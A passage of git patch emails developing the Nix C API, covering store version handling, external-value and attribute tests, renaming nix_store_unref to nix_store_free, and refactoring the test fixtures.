+ + BindingsBuilder * builder = nix_make_bindings_builder(nullptr, state, size); + + Value * intValue = nix_alloc_value(nullptr, state); + nix_init_int(nullptr, intValue, 42); + + Value * stringValue = nix_alloc_value(nullptr, state); + nix_init_string(nullptr, stringValue, "foo"); + + nix_bindings_builder_insert(nullptr, builder, "a", intValue); + nix_bindings_builder_insert(nullptr, builder, "b", stringValue); + nix_make_attrs(nullptr, value, builder); + nix_bindings_builder_free(builder); + + ASSERT_EQ(2, nix_get_attrs_size(nullptr, value)); + + Value * out_value = nix_get_attr_byname(nullptr, value, state, "a"); + ASSERT_EQ(42, nix_get_int(nullptr, out_value)); + nix_gc_decref(nullptr, out_value); + + out_value = nix_get_attr_byidx(nullptr, value, state, 0, out_name); + ASSERT_EQ(42, nix_get_int(nullptr, out_value)); + ASSERT_STREQ("a", *out_name); + nix_gc_decref(nullptr, out_value); + + ASSERT_STREQ("a", nix_get_attr_name_byidx(nullptr, value, state, 0)); + + out_value = nix_get_attr_byname(nullptr, value, state, "b"); + ASSERT_STREQ("foo", nix_get_string(nullptr, out_value)); + nix_gc_decref(nullptr, out_value); + + out_value = nix_get_attr_byidx(nullptr, value, state, 1, out_name); + ASSERT_STREQ("foo", nix_get_string(nullptr, out_value)); + ASSERT_STREQ("b", *out_name); + nix_gc_decref(nullptr, out_value); + + ASSERT_STREQ("b", nix_get_attr_name_byidx(nullptr, value, state, 1)); + + // Clean up + nix_gc_decref(nullptr, intValue); + nix_gc_decref(nullptr, stringValue); + free(out_name); +} + } From 24c8f6864dd3ec308f181c6e05067b4f61c227c1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Thu, 22 Feb 2024 00:22:54 +0100 Subject: [PATCH 0356/1251] C API: if store doesn't have a version, return an empty string --- src/libstore/c/nix_api_store.cc | 8 +++----- src/libstore/c/nix_api_store.h | 3 ++- tests/unit/libstore/nix_api_store.cc | 5 +++++ 3 files changed, 10 insertions(+), 6 deletions(-) diff --git a/src/libstore/c/nix_api_store.cc b/src/libstore/c/nix_api_store.cc index 6586d4a1b..656eb2ae7 100644 --- a/src/libstore/c/nix_api_store.cc +++ b/src/libstore/c/nix_api_store.cc @@ -72,11 +72,9 @@ nix_err nix_store_get_version(nix_c_context * context, Store * store, char * des context->last_err_code = NIX_OK; try { auto res = store->ptr->getVersion(); - if (res) { - return nix_export_std_string(context, *res, dest, n); - } else { - return nix_set_err_msg(context, NIX_ERR_UNKNOWN, "store does not have a version"); - } + if (!res) + res = ""; + return nix_export_std_string(context, *res, dest, n); } NIXC_CATCH_ERRS } diff --git a/src/libstore/c/nix_api_store.h b/src/libstore/c/nix_api_store.h index 7732ade6b..9c5e524e5 100644 --- a/src/libstore/c/nix_api_store.h +++ b/src/libstore/c/nix_api_store.h @@ -125,7 +125,8 @@ nix_err nix_store_build( void (*callback)(void * userdata, const char * outname, const char * out)); /** - * @brief get the version of a nix store + * @brief get the version of a nix store. + * If the store doesn't have a version (like the dummy store), returns an empty string. * @param[out] context Optional, stores error information * @param[in] store nix store reference * @param[out] dest The allocated area to write the string to. diff --git a/tests/unit/libstore/nix_api_store.cc b/tests/unit/libstore/nix_api_store.cc index bbf850291..e093e9d15 100644 --- a/tests/unit/libstore/nix_api_store.cc +++ b/tests/unit/libstore/nix_api_store.cc @@ -64,6 +64,11 @@ TEST_F(nix_api_util_context, nix_store_open_dummy) Store * store = nix_store_open(ctx, "dummy://", nullptr); ASSERT_EQ(NIX_OK, ctx->last_err_code); ASSERT_STREQ("dummy", store->ptr->getUri().c_str()); + + char value[256]; + nix_store_get_version(ctx, store, value, 256); + ASSERT_STREQ("", value); + nix_store_unref(store); } From b9cd24a4a85beafe44b2d059c61e0daa2c842e6a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Thu, 22 Feb 2024 12:57:51 +0100 Subject: [PATCH 0357/1251] C API: fix api_expr tests --- tests/unit/libexpr/nix_api_expr.cc | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index 0389306ec..ec51d14a3 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -85,14 +85,20 @@ TEST_F(nix_api_expr_test, nix_build_drv) Value * drvPathValue = nix_get_attr_byname(nullptr, value, state, "drvPath"); const char * drvPath = nix_get_string(nullptr, drvPathValue); - ASSERT_STREQ("/nix/store/5fxx84dpz59ch79wf9x8ja715p7hf3q1-myname.drv", drvPath); + + std::string p = drvPath; + std::string pEnd = "-myname.drv"; + ASSERT_EQ(pEnd, p.substr(p.size() - pEnd.size())); StorePath * drvStorePath = nix_store_parse_path(ctx, store, drvPath); ASSERT_EQ(true, nix_store_is_valid_path(nullptr, store, drvStorePath)); Value * outPathValue = nix_get_attr_byname(nullptr, value, state, "outPath"); const char * outPath = nix_get_string(nullptr, outPathValue); - ASSERT_STREQ("/nix/store/rp0xk0641l8hpdb84fsx3kwwrl45pxan-myname", outPath); + + p = outPath; + pEnd = "-myname"; + ASSERT_EQ(pEnd, p.substr(p.size() - pEnd.size())); StorePath * outStorePath = nix_store_parse_path(ctx, store, outPath); ASSERT_EQ(false, nix_store_is_valid_path(nullptr, store, outStorePath)); From 6c231dcf68a0261178060cde2c03810858b43c19 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Sat, 24 Feb 2024 16:07:16 +0100 Subject: [PATCH 0358/1251] C API: disable test --- src/libexpr/c/nix_api_value.h | 4 ++++ tests/unit/libexpr/nix_api_expr.cc | 8 ++++++-- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/src/libexpr/c/nix_api_value.h b/src/libexpr/c/nix_api_value.h index df1f949ed..27027caf0 100644 --- a/src/libexpr/c/nix_api_value.h +++ b/src/libexpr/c/nix_api_value.h @@ -278,12 +278,14 @@ const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * valu * @return error code, NIX_OK on success. */ nix_err nix_init_bool(nix_c_context * context, Value * value, bool b); + /** @brief Set a string * @param[out] context Optional, stores error information * @param[out] value Nix value to modify * @param[in] str the string, copied * @return error code, NIX_OK on success. */ + nix_err nix_init_string(nix_c_context * context, Value * value, const char * str); /** @brief Set a path * @param[out] context Optional, stores error information @@ -291,6 +293,7 @@ nix_err nix_init_string(nix_c_context * context, Value * value, const char * str * @param[in] str the path string, copied * @return error code, NIX_OK on success. */ + nix_err nix_init_path_string(nix_c_context * context, Value * value, const char * str); /** @brief Set a float * @param[out] context Optional, stores error information @@ -298,6 +301,7 @@ nix_err nix_init_path_string(nix_c_context * context, Value * value, const char * @param[in] d the float, 64-bits * @return error code, NIX_OK on success. */ + nix_err nix_init_float(nix_c_context * context, Value * value, double d); /** @brief Set an int * @param[out] context Optional, stores error information diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index ec51d14a3..5caccea9a 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -79,7 +79,7 @@ TEST_F(nix_api_expr_test, nix_build_drv) auto expr = R"(derivation { name = "myname"; system = builtins.currentSystem; builder = "/bin/sh"; - args = [ "-c" "echo hello world > $out" ]; + args = [ "-c" "echo foo > $out" ]; })"; nix_expr_eval_from_string(nullptr, state, expr, ".", value); @@ -104,7 +104,11 @@ TEST_F(nix_api_expr_test, nix_build_drv) ASSERT_EQ(false, nix_store_is_valid_path(nullptr, store, outStorePath)); nix_store_build(ctx, store, drvStorePath, nullptr, nullptr); - ASSERT_EQ(true, nix_store_is_valid_path(nullptr, store, outStorePath)); + + // TODO figure out why fails. + // `make libexpr-tests_RUN` works, but `nix build .` fails + /* auto is_valid_path = nix_store_is_valid_path(ctx, store, outStorePath); */ + /* ASSERT_EQ(true, is_valid_path); */ // Clean up nix_store_path_free(drvStorePath); From 2349185c966983ee1ac1d748f53be5b42461ebcf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Sun, 25 Feb 2024 00:26:36 +0100 Subject: [PATCH 0359/1251] C API: fix after rebase --- src/libexpr/c/nix_api_external.cc | 10 +++++++--- src/libexpr/c/nix_api_external.h | 4 ++-- src/libexpr/c/nix_api_value.cc | 3 +-- 3 files changed, 10 insertions(+), 7 deletions(-) diff --git a/src/libexpr/c/nix_api_external.cc b/src/libexpr/c/nix_api_external.cc index 2e8a98567..3af4af4d4 100644 --- a/src/libexpr/c/nix_api_external.cc +++ b/src/libexpr/c/nix_api_external.cc @@ -108,17 +108,21 @@ public: * Coerce the value to a string. */ virtual std::string coerceToString( - const nix::Pos & pos, nix::NixStringContext & context, bool copyMore, bool copyToStore) const override + nix::EvalState & state, + const nix::PosIdx & pos, + nix::NixStringContext & context, + bool copyMore, + bool copyToStore) const override { if (!desc.coerceToString) { - return nix::ExternalValueBase::coerceToString(pos, context, copyMore, copyToStore); + return nix::ExternalValueBase::coerceToString(state, pos, context, copyMore, copyToStore); } nix_string_context ctx{context}; nix_string_return res{""}; // todo: pos, errors desc.coerceToString(v, &ctx, copyMore, copyToStore, &res); if (res.str.empty()) { - return nix::ExternalValueBase::coerceToString(pos, context, copyMore, copyToStore); + return nix::ExternalValueBase::coerceToString(state, pos, context, copyMore, copyToStore); } return std::move(res.str); } diff --git a/src/libexpr/c/nix_api_external.h b/src/libexpr/c/nix_api_external.h index c935bbe56..12ea00407 100644 --- a/src/libexpr/c/nix_api_external.h +++ b/src/libexpr/c/nix_api_external.h @@ -165,7 +165,7 @@ typedef struct NixCExternalValueDesc } NixCExternalValueDesc; /** - * @brief Create an external value, that can be given to nix_set_external + * @brief Create an external value, that can be given to nix_init_external * * Owned by the GC. Use nix_gc_decref when you're done with the pointer. * @@ -174,7 +174,7 @@ typedef struct NixCExternalValueDesc * as the ExternalValue lives * @param[in] v the value to store * @returns external value, owned by the garbage collector - * @see nix_set_external + * @see nix_init_external */ ExternalValue * nix_create_external_value(nix_c_context * context, NixCExternalValueDesc * desc, void * v); diff --git a/src/libexpr/c/nix_api_value.cc b/src/libexpr/c/nix_api_value.cc index dbddbd876..e63d13f7a 100644 --- a/src/libexpr/c/nix_api_value.cc +++ b/src/libexpr/c/nix_api_value.cc @@ -72,8 +72,7 @@ static void nix_c_primop_wrapper( f(userdata, &ctx, (EvalState *) &state, (Value **) args, (Value *) &v); /* TODO: In the future, this should throw different errors depending on the error code */ if (ctx.last_err_code != NIX_OK) - state.debugThrowLastTrace(nix::Error( - {.msg = nix::hintfmt("Error from builtin function: %s", *ctx.last_err), .errPos = state.positions[pos]})); + state.error("Error from builtin function: %s", *ctx.last_err).atPos(pos).debugThrow(); } PrimOp * nix_alloc_primop( From 7c602d9f014abbba5b6f9300e89eda68e520cea7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Sun, 25 Feb 2024 00:28:04 +0100 Subject: [PATCH 0360/1251] C API: add tests for external values --- doc/external-api/README.md | 2 +- src/libexpr/c/nix_api_expr_internal.h | 15 +++++ src/libexpr/c/nix_api_external.cc | 15 ----- src/libexpr/c/nix_api_value.h | 2 +- tests/unit/libexpr/nix_api_external.cc | 83 ++++++++++++++++++++++++++ 5 files changed, 100 insertions(+), 17 deletions(-) create mode 100644 tests/unit/libexpr/nix_api_external.cc diff --git a/doc/external-api/README.md b/doc/external-api/README.md index e9ca25ab6..24118f9f0 100644 --- a/doc/external-api/README.md +++ b/doc/external-api/README.md @@ -82,7 +82,7 @@ will increment the argument if it is an integer and throw an error otherwise. void increment(void* user_data, nix_c_context* ctx, EvalState* state, Value** args, Value* v) { nix_value_force(NULL, state, args[0]); if (nix_get_type(NULL, args[0]) == NIX_TYPE_INT) { - nix_set_int(NULL, v, nix_get_int(NULL, args[0]) + 1); + nix_init_int(NULL, v, nix_get_int(NULL, args[0]) + 1); } else { nix_set_err_msg(ctx, NIX_ERR_UNKNOWN, "First argument should be an integer."); } diff --git a/src/libexpr/c/nix_api_expr_internal.h b/src/libexpr/c/nix_api_expr_internal.h index e116af165..352ac496f 100644 --- a/src/libexpr/c/nix_api_expr_internal.h +++ b/src/libexpr/c/nix_api_expr_internal.h @@ -14,4 +14,19 @@ struct BindingsBuilder nix::BindingsBuilder builder; }; +struct nix_string_return +{ + std::string str; +}; + +struct nix_printer +{ + std::ostream & s; +}; + +struct nix_string_context +{ + nix::NixStringContext & ctx; +}; + #endif // NIX_API_EXPR_INTERNAL_H diff --git a/src/libexpr/c/nix_api_external.cc b/src/libexpr/c/nix_api_external.cc index 3af4af4d4..c237cfb70 100644 --- a/src/libexpr/c/nix_api_external.cc +++ b/src/libexpr/c/nix_api_external.cc @@ -20,21 +20,6 @@ #include "gc_cpp.h" #endif -struct nix_string_return -{ - std::string str; -}; - -struct nix_printer -{ - std::ostream & s; -}; - -struct nix_string_context -{ - nix::NixStringContext & ctx; -}; - void nix_set_string_return(nix_string_return * str, const char * c) { str->str = c; diff --git a/src/libexpr/c/nix_api_value.h b/src/libexpr/c/nix_api_value.h index 27027caf0..a9a640231 100644 --- a/src/libexpr/c/nix_api_value.h +++ b/src/libexpr/c/nix_api_value.h @@ -52,7 +52,7 @@ typedef class ListBuilder ListBuilder; * @ingroup primops * * Owned by the GC - * @see nix_alloc_primop, nix_set_primop + * @see nix_alloc_primop, nix_init_primop */ typedef struct PrimOp PrimOp; /** @brief External Value diff --git a/tests/unit/libexpr/nix_api_external.cc b/tests/unit/libexpr/nix_api_external.cc new file mode 100644 index 000000000..5f5353b04 --- /dev/null +++ b/tests/unit/libexpr/nix_api_external.cc @@ -0,0 +1,83 @@ +#include "nix_api_store.h" +#include "nix_api_store_internal.h" +#include "nix_api_util.h" +#include "nix_api_util_internal.h" +#include "nix_api_expr.h" +#include "nix_api_expr_internal.h" +#include "nix_api_value.h" +#include "nix_api_external.h" +#include "tests/nix_api_store.hh" + +#include +#include + +namespace nixC { + +class MyExternalValueDesc : public NixCExternalValueDesc +{ +public: + MyExternalValueDesc(int x) + : _x(x) + { + print = print_function; + showType = show_type_function; + typeOf = type_of_function; + } + +private: + int _x; + static void print_function(void * self, nix_printer * printer) {} + + static void show_type_function(void * self, nix_string_return * res) {} + + static void type_of_function(void * self, nix_string_return * res) + { + std::cout << self << std::endl; + MyExternalValueDesc * obj = static_cast(self); + + std::string type_string = "nix-external_x); + type_string += " )>"; + res->str = &*type_string.begin(); + } +}; + +class nix_api_external_test : public nix_api_store_test +{ +public: + nix_api_external_test() + { + state = nix_state_create(nullptr, nullptr, store); + value = nix_alloc_value(nullptr, state); + } + ~nix_api_external_test() + { + nix_gc_decref(nullptr, value); + nix_state_free(state); + } + + EvalState * state; + Value * value; +}; + +TEST_F(nix_api_external_test, nix_expr_eval_from_string) +{ + MyExternalValueDesc * external = new MyExternalValueDesc(42); + ExternalValue * val = nix_create_external_value(ctx, external, external); + nix_init_external(nullptr, value, val); + + EvalState * stateResult = nix_state_create(nullptr, nullptr, store); + Value * valueResult = nix_alloc_value(nullptr, stateResult); + + EvalState * stateFn = nix_state_create(nullptr, nullptr, store); + Value * valueFn = nix_alloc_value(nullptr, stateFn); + + nix_expr_eval_from_string(nullptr, state, "builtins.typeOf", ".", valueFn); + + ASSERT_EQ(NIX_TYPE_EXTERNAL, nix_get_type(nullptr, value)); + + nix_value_call(ctx, state, valueFn, value, valueResult); + + ASSERT_STREQ("nix-external", nix_get_string(nullptr, valueResult)); +} +} From c49b88b066f10203fb94ebd91a498bc259cb8c21 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Sun, 25 Feb 2024 14:20:57 +0100 Subject: [PATCH 0361/1251] C API: update docs based on PR feedback --- doc/external-api/README.md | 2 +- src/libexpr/c/nix_api_expr.h | 2 +- src/libexpr/c/nix_api_value.h | 5 +++++ src/libstore/c/nix_api_store.cc | 2 +- src/libstore/c/nix_api_store.h | 13 +++++++------ tests/unit/libstore-support/tests/nix_api_store.hh | 2 +- tests/unit/libstore/nix_api_store.cc | 4 ++-- 7 files changed, 18 insertions(+), 12 deletions(-) diff --git a/doc/external-api/README.md b/doc/external-api/README.md index 24118f9f0..1d7344ddd 100644 --- a/doc/external-api/README.md +++ b/doc/external-api/README.md @@ -54,7 +54,7 @@ int main() { nix_gc_decref(NULL, value); nix_state_free(state); - nix_store_unref(store); + nix_store_free(store); return 0; } ``` diff --git a/src/libexpr/c/nix_api_expr.h b/src/libexpr/c/nix_api_expr.h index 7f32140a0..7504b5d7a 100644 --- a/src/libexpr/c/nix_api_expr.h +++ b/src/libexpr/c/nix_api_expr.h @@ -18,7 +18,7 @@ * * nix_gc_decref(NULL, value); * nix_state_free(state); - * nix_store_unref(store); + * nix_store_free(store); * return 0; * } * @endcode diff --git a/src/libexpr/c/nix_api_value.h b/src/libexpr/c/nix_api_value.h index a9a640231..64c0c367a 100644 --- a/src/libexpr/c/nix_api_value.h +++ b/src/libexpr/c/nix_api_value.h @@ -269,6 +269,11 @@ const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * valu /**@}*/ /** @name Initializers + * + * Values are typically "returned" by initializing already allocated memory that serves as the return value. + * For this reason, the construction of values is not tied their allocation. + * Nix is a language with immutable values. Respect this property by only initializing Values once; and only initialize + * Values that are meant to be initialized by you. Failing to adhere to these rules may lead to undefined behavior. */ /**@{*/ /** @brief Set boolean value diff --git a/src/libstore/c/nix_api_store.cc b/src/libstore/c/nix_api_store.cc index 656eb2ae7..d6602471d 100644 --- a/src/libstore/c/nix_api_store.cc +++ b/src/libstore/c/nix_api_store.cc @@ -50,7 +50,7 @@ Store * nix_store_open(nix_c_context * context, const char * uri, const char *** NIXC_CATCH_ERRS_NULL } -void nix_store_unref(Store * store) +void nix_store_free(Store * store) { delete store; } diff --git a/src/libstore/c/nix_api_store.h b/src/libstore/c/nix_api_store.h index 9c5e524e5..e6d88026b 100644 --- a/src/libstore/c/nix_api_store.h +++ b/src/libstore/c/nix_api_store.h @@ -48,23 +48,24 @@ nix_err nix_init_plugins(nix_c_context * context); /** * @brief Open a nix store + * Store instances may share state and resources behind the scenes. * @param[out] context Optional, stores error information * @param[in] uri URI of the nix store, copied * @param[in] params optional, array of key-value pairs, {{"endpoint", * "https://s3.local"}} - * @return ref-counted Store pointer, NULL in case of errors - * @see nix_store_unref + * @return a Store pointer, NULL in case of errors + * @see nix_store_free */ Store * nix_store_open(nix_c_context *, const char * uri, const char *** params); /** - * @brief Unref a nix store + * @brief Deallocate a nix store and free any resources if not also held by other Store instances. * * Does not fail. - * It'll be closed and deallocated when all references are gone. - * @param[in] builder the store to unref + * + * @param[in] store the store to free */ -void nix_store_unref(Store * store); +void nix_store_free(Store * store); /** * @brief get the URI of a nix store diff --git a/tests/unit/libstore-support/tests/nix_api_store.hh b/tests/unit/libstore-support/tests/nix_api_store.hh index e762a3ca8..34d467d49 100644 --- a/tests/unit/libstore-support/tests/nix_api_store.hh +++ b/tests/unit/libstore-support/tests/nix_api_store.hh @@ -27,7 +27,7 @@ public: }; ~nix_api_store_test() override { - nix_store_unref(store); + nix_store_free(store); for (auto & path : fs::recursive_directory_iterator(nixStoreDir)) { fs::permissions(path, fs::perms::owner_all); diff --git a/tests/unit/libstore/nix_api_store.cc b/tests/unit/libstore/nix_api_store.cc index e093e9d15..54daf927a 100644 --- a/tests/unit/libstore/nix_api_store.cc +++ b/tests/unit/libstore/nix_api_store.cc @@ -69,7 +69,7 @@ TEST_F(nix_api_util_context, nix_store_open_dummy) nix_store_get_version(ctx, store, value, 256); ASSERT_STREQ("", value); - nix_store_unref(store); + nix_store_free(store); } TEST_F(nix_api_util_context, nix_store_open_invalid) @@ -78,7 +78,7 @@ TEST_F(nix_api_util_context, nix_store_open_invalid) Store * store = nix_store_open(ctx, "invalid://", nullptr); ASSERT_EQ(NIX_ERR_NIX_ERROR, ctx->last_err_code); ASSERT_EQ(nullptr, store); - nix_store_unref(store); + nix_store_free(store); } TEST_F(nix_api_store_test, nix_store_is_valid_path_not_in_store) From 693e8ec8fefa78aec72b2f5fd44842226e52d526 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Sun, 25 Feb 2024 14:41:35 +0100 Subject: [PATCH 0362/1251] C API: unify makefile after rebase --- Makefile | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/Makefile b/Makefile index ae4a8f0a4..306f9ed19 100644 --- a/Makefile +++ b/Makefile @@ -65,6 +65,10 @@ ifeq ($(ENABLE_INTERNAL_API_DOCS), yes) makefiles-late += doc/internal-api/local.mk endif +ifeq ($(ENABLE_EXTERNAL_API_DOCS), yes) +makefiles-late += doc/external-api/local.mk +endif + # Miscellaneous global Flags OPTIMIZE = 1 @@ -130,9 +134,7 @@ internal-api-html: @exit 1 endif -ifeq ($(ENABLE_EXTERNAL_API_DOCS), yes) -$(eval $(call include-sub-makefile, doc/external-api/local.mk)) -else +ifneq ($(ENABLE_EXTERNAL_API_DOCS), yes) .PHONY: external-api-html external-api-html: @echo "External API docs are disabled. Configure with '--enable-external-api-docs', or avoid calling 'make external-api-html'." From 2e1dbbe307199442d7975958664fd57fc37eee70 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Sun, 25 Feb 2024 18:14:32 +0100 Subject: [PATCH 0363/1251] C API: refactor test support --- .../libexpr-support/tests/nix_api_expr.hh | 29 +++++++++++++++++++ tests/unit/libexpr/nix_api_expr.cc | 20 +------------ tests/unit/libexpr/nix_api_external.cc | 23 ++------------- tests/unit/libexpr/nix_api_value.cc | 26 +++-------------- .../libstore-support/tests/nix_api_store.hh | 24 ++++++++++----- .../libutil-support/tests/nix_api_util.hh | 7 ++--- 6 files changed, 55 insertions(+), 74 deletions(-) create mode 100644 tests/unit/libexpr-support/tests/nix_api_expr.hh diff --git a/tests/unit/libexpr-support/tests/nix_api_expr.hh b/tests/unit/libexpr-support/tests/nix_api_expr.hh new file mode 100644 index 000000000..f63c03319 --- /dev/null +++ b/tests/unit/libexpr-support/tests/nix_api_expr.hh @@ -0,0 +1,29 @@ +#pragma once +///@file +#include "nix_api_expr.h" +#include "nix_api_value.h" +#include "tests/nix_api_store.hh" + +#include + +namespace nixC { +class nix_api_expr_test : public nix_api_store_test +{ +protected: + + nix_api_expr_test() + { + nix_libexpr_init(ctx); + state = nix_state_create(nullptr, nullptr, store); + value = nix_alloc_value(nullptr, state); + } + ~nix_api_expr_test() + { + nix_gc_decref(nullptr, value); + nix_state_free(state); + } + + EvalState * state; + Value * value; +}; +} diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index 5caccea9a..d14e90097 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -5,30 +5,12 @@ #include "nix_api_expr.h" #include "nix_api_value.h" -#include "tests/nix_api_store.hh" +#include "tests/nix_api_expr.hh" #include namespace nixC { -class nix_api_expr_test : public nix_api_store_test -{ -public: - nix_api_expr_test() - { - state = nix_state_create(nullptr, nullptr, store); - value = nix_alloc_value(nullptr, state); - } - ~nix_api_expr_test() - { - nix_gc_decref(nullptr, value); - nix_state_free(state); - } - - EvalState * state; - Value * value; -}; - TEST_F(nix_api_expr_test, nix_expr_eval_from_string) { nix_expr_eval_from_string(nullptr, state, "builtins.nixVersion", ".", value); diff --git a/tests/unit/libexpr/nix_api_external.cc b/tests/unit/libexpr/nix_api_external.cc index 5f5353b04..1f190d9c8 100644 --- a/tests/unit/libexpr/nix_api_external.cc +++ b/tests/unit/libexpr/nix_api_external.cc @@ -6,9 +6,8 @@ #include "nix_api_expr_internal.h" #include "nix_api_value.h" #include "nix_api_external.h" -#include "tests/nix_api_store.hh" +#include "tests/nix_api_expr.hh" -#include #include namespace nixC { @@ -42,25 +41,7 @@ private: } }; -class nix_api_external_test : public nix_api_store_test -{ -public: - nix_api_external_test() - { - state = nix_state_create(nullptr, nullptr, store); - value = nix_alloc_value(nullptr, state); - } - ~nix_api_external_test() - { - nix_gc_decref(nullptr, value); - nix_state_free(state); - } - - EvalState * state; - Value * value; -}; - -TEST_F(nix_api_external_test, nix_expr_eval_from_string) +TEST_F(nix_api_expr_test, nix_expr_eval_external) { MyExternalValueDesc * external = new MyExternalValueDesc(42); ExternalValue * val = nix_create_external_value(ctx, external, external); diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc index d1247e027..abed456f7 100644 --- a/tests/unit/libexpr/nix_api_value.cc +++ b/tests/unit/libexpr/nix_api_value.cc @@ -5,32 +5,14 @@ #include "nix_api_expr.h" #include "nix_api_value.h" -#include "tests/nix_api_store.hh" +#include "tests/nix_api_expr.hh" #include #include namespace nixC { -class nix_api_value_test : public nix_api_store_test -{ -public: - nix_api_value_test() - { - state = nix_state_create(nullptr, nullptr, store); - value = nix_alloc_value(nullptr, state); - } - ~nix_api_value_test() - { - nix_gc_decref(nullptr, value); - nix_state_free(state); - } - - EvalState * state; - Value * value; -}; - -TEST_F(nix_api_value_test, nix_value_set_get_int) +TEST_F(nix_api_expr_test, nix_value_set_get_int) { int myInt = 1; nix_init_int(nullptr, value, myInt); @@ -38,7 +20,7 @@ TEST_F(nix_api_value_test, nix_value_set_get_int) ASSERT_EQ(myInt, nix_get_int(nullptr, value)); } -TEST_F(nix_api_value_test, nix_make_and_set_list) +TEST_F(nix_api_expr_test, nix_build_and_init_list) { int size = 10; ListBuilder * builder = nix_make_list_builder(nullptr, state, size); @@ -56,7 +38,7 @@ TEST_F(nix_api_value_test, nix_make_and_set_list) nix_gc_decref(nullptr, intValue); } -TEST_F(nix_api_value_test, nix_make_attrs_t) +TEST_F(nix_api_expr_test, nix_build_and_init_attr) { int size = 10; const char ** out_name = (const char **) malloc(sizeof(char *)); diff --git a/tests/unit/libstore-support/tests/nix_api_store.hh b/tests/unit/libstore-support/tests/nix_api_store.hh index 34d467d49..4608dd90d 100644 --- a/tests/unit/libstore-support/tests/nix_api_store.hh +++ b/tests/unit/libstore-support/tests/nix_api_store.hh @@ -10,21 +10,16 @@ namespace fs = std::filesystem; +namespace nixC { class nix_api_store_test : public nix_api_util_context { public: nix_api_store_test() { nix_libstore_init(ctx); - - auto tmpl = nix::getEnv("TMPDIR").value_or("/tmp") + "/tests_nix-store.XXXXXX"; - nixStoreDir = mkdtemp((char *) tmpl.c_str()); - - // Options documented in `nix help-stores` - const char * p1[] = {"root", nixStoreDir.c_str()}; - const char ** params[] = {p1, nullptr}; - store = nix_store_open(ctx, "local", params); + init_local_store(); }; + ~nix_api_store_test() override { nix_store_free(store); @@ -37,4 +32,17 @@ public: Store * store; std::string nixStoreDir; + +protected: + void init_local_store() + { + auto tmpl = nix::getEnv("TMPDIR").value_or("/tmp") + "/tests_nix-store.XXXXXX"; + nixStoreDir = mkdtemp((char *) tmpl.c_str()); + + // Options documented in `nix help-stores` + const char * p1[] = {"root", nixStoreDir.c_str()}; + const char ** params[] = {p1, nullptr}; + store = nix_store_open(ctx, "local", params); + } }; +} diff --git a/tests/unit/libutil-support/tests/nix_api_util.hh b/tests/unit/libutil-support/tests/nix_api_util.hh index b007ac4b1..314ec70de 100644 --- a/tests/unit/libutil-support/tests/nix_api_util.hh +++ b/tests/unit/libutil-support/tests/nix_api_util.hh @@ -4,17 +4,15 @@ #include +namespace nixC { class nix_api_util_context : public ::testing::Test { protected: - static void SetUpTestSuite() - { - nix_libutil_init(NULL); - } nix_api_util_context() { ctx = nix_c_context_create(); + nix_libutil_init(ctx); }; ~nix_api_util_context() override @@ -25,3 +23,4 @@ protected: nix_c_context * ctx; }; +} From 1093ab64a24aec3032a0642b27522520c970d898 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= Date: Sun, 25 Feb 2024 21:21:05 +0100 Subject: [PATCH 0364/1251] C API: add more tests --- src/libexpr/c/nix_api_value.cc | 4 +- src/libexpr/c/nix_api_value.h | 9 +++-- src/libexpr/eval.cc | 5 --- tests/unit/libexpr/nix_api_external.cc | 1 - tests/unit/libexpr/nix_api_value.cc | 56 ++++++++++++++++++++++++++ tests/unit/libutil/nix_api_util.cc | 37 ++++++++++------- 6 files changed, 86 insertions(+), 26 deletions(-) diff --git a/src/libexpr/c/nix_api_value.cc b/src/libexpr/c/nix_api_value.cc index e63d13f7a..740751beb 100644 --- a/src/libexpr/c/nix_api_value.cc +++ b/src/libexpr/c/nix_api_value.cc @@ -382,13 +382,13 @@ nix_err nix_init_string(nix_c_context * context, Value * value, const char * str NIXC_CATCH_ERRS } -nix_err nix_init_path_string(nix_c_context * context, Value * value, const char * str) +nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * value, const char * str) { if (context) context->last_err_code = NIX_OK; try { auto & v = check_value_not_null(value); - v.mkPath(std::string_view(str)); + v.mkPath(s->state.rootPath(nix::CanonPath(str))); } NIXC_CATCH_ERRS } diff --git a/src/libexpr/c/nix_api_value.h b/src/libexpr/c/nix_api_value.h index 64c0c367a..e3e937e37 100644 --- a/src/libexpr/c/nix_api_value.h +++ b/src/libexpr/c/nix_api_value.h @@ -129,6 +129,7 @@ nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp); * @return value, or null in case of errors * */ + Value * nix_alloc_value(nix_c_context * context, EvalState * state); /** @addtogroup value_manip Manipulating values * @brief Functions to inspect and change Nix language values, represented by Value. @@ -142,6 +143,7 @@ Value * 